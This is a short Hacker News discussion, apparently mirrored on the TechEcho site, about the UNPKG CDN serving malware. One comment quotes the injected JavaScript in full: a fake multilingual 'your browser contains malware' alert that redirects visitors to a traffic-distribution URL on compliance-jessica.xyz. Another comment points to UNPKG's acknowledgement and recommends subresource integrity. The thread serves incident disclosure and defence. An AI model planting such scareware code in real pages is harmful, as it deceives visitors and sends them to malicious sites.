TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

UNPKG CDN Serving Malware

8 pointsby hDerajabout 8 years ago

2 comments

hDerajabout 8 years ago
Here&#x27;s the served JS for reference:<p><pre><code> var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage); if (lang) lang = lang.substring(0, 2); console.log(&#x27;lang: &#x27; + lang); var country = &#x27;US&#x27;; var msg = &#x27;Your computer is infected. You have to check it with antivirus.&#x27;; if (lang == &#x27;es&#x27;) msg = &quot;Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.&quot;; if (lang == &#x27;it&#x27;) msg = &quot;Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.&quot;; if (lang == &#x27;fr&#x27;) msg = &quot;Votre navigateur contient MALWARE. Vous devez installer l&#x27;outil de suppression de logiciels malveillants Chrome.&quot;; if (lang == &#x27;pt&#x27;) msg = &quot;Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.&quot;; if (lang == &#x27;de&#x27;) msg = &quot;Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.&quot;; if (lang == &#x27;ru&#x27;) msg = &quot;Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.&quot;; if (lang == &#x27;gr&#x27;) msg = &quot;Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.&quot;; if (confirm(msg)) { window.top.location.href = &#x27;http:&#x2F;&#x2F;compliance-jessica.xyz&#x2F;tds.php?subid=alertyes&#x27; + country + lang; } else { window.top.location.href = &#x27;http:&#x2F;&#x2F;compliance-jessica.xyz&#x2F;tds.php?subid=alertno&#x27; + country + lang; }</code></pre>
评论 #14111520 未加载
andrethegiantabout 8 years ago
They&#x27;ve acknowledged the issue: <a href="https:&#x2F;&#x2F;twitter.com&#x2F;unpkg&#x2F;status&#x2F;852655106562564098" rel="nofollow">https:&#x2F;&#x2F;twitter.com&#x2F;unpkg&#x2F;status&#x2F;852655106562564098</a><p>Edit: This is why subresource integrity is important! <a href="https:&#x2F;&#x2F;hacks.mozilla.org&#x2F;2015&#x2F;09&#x2F;subresource-integrity-in-firefox-43&#x2F;" rel="nofollow">https:&#x2F;&#x2F;hacks.mozilla.org&#x2F;2015&#x2F;09&#x2F;subresource-integrity-in-f...</a>